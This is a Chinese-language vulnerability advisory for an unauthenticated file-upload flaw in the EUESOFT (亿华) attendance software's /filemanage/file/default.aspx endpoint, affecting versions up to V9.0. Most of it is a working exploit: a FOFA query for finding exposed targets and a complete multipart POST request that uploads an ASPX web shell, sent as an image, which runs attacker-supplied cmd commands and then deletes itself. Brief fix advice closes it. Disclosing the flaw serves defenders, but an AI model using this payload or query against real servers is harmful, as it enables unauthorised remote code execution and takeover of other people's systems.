

亿华考勤软件 default.aspx 文件上传致RCE漏洞

漏洞描述

亿华考勤软件 default.aspx 接口存在文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

version <= V9.0

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="EUESOFT-考勤软件"

POC/EXP：访问该路径可直接上传

GET /filemanage/file/default.aspx HTTP/1.1

Host: 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8 ,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

POC/EXP：

POST /filemanage/file/default.aspx HTTP/1.1
Host: 127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8
,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----
geckoformboundary787f61f28ad8b037c0c81d8883ef3b37
Priority: u=0, i
Content-Length: 1145

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwULLTEzNjk1NjQwNjYPZBYCAgMPZBYGAgEPDxYCHgRUZXh0BQ0vRmlsZXNVcGxvYWQvZGQ
CAw8PFgleB1Zpc2libGV0ZGQCBA8PFglfAWhkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS
2V5X18WAQUIQXV0b05hbWW+hnlUyETD/5rHrLALRN1Nkm8eKsAOC0ToDPaGHqsOmg==

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

5338F018

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="fileToUpload"; filename="test.aspx"

Content-Type: image/png

<%@ Page Language="J s c r i p t " validateRequest="false" %>

<%

var c=new System.Diagnostics.ProcessStartInfo("cmd");

var e=new System.Diagnostics.Process();

var out:<http://System.IO.StreamReader>,El:<http://System.IO.StreamReader>;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;

c.RedirectStandardError=true;

e.StartInfo=c;

c.Arguments="/c " + Request.Item["cmd"];

e.Start();

out=e.StandardOutput;

El=e.StandardError;

e.Close();

Response.Write(out.ReadToEnd() + El.ReadToEnd());

[http://System.IO.File.Delete\(Request.PhysicalPath\);](http://System.IO.File.Delete(Request.PhysicalPath);)

Response.End();%>

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="UploadBtn"

上传文件

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="NewFileText"

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="NewFolderText"

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37

Content-Disposition: form-data; name="setRootTxt"

-----geckoformboundary787f61f28ad8b037c0c81d8883ef3b37--



漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本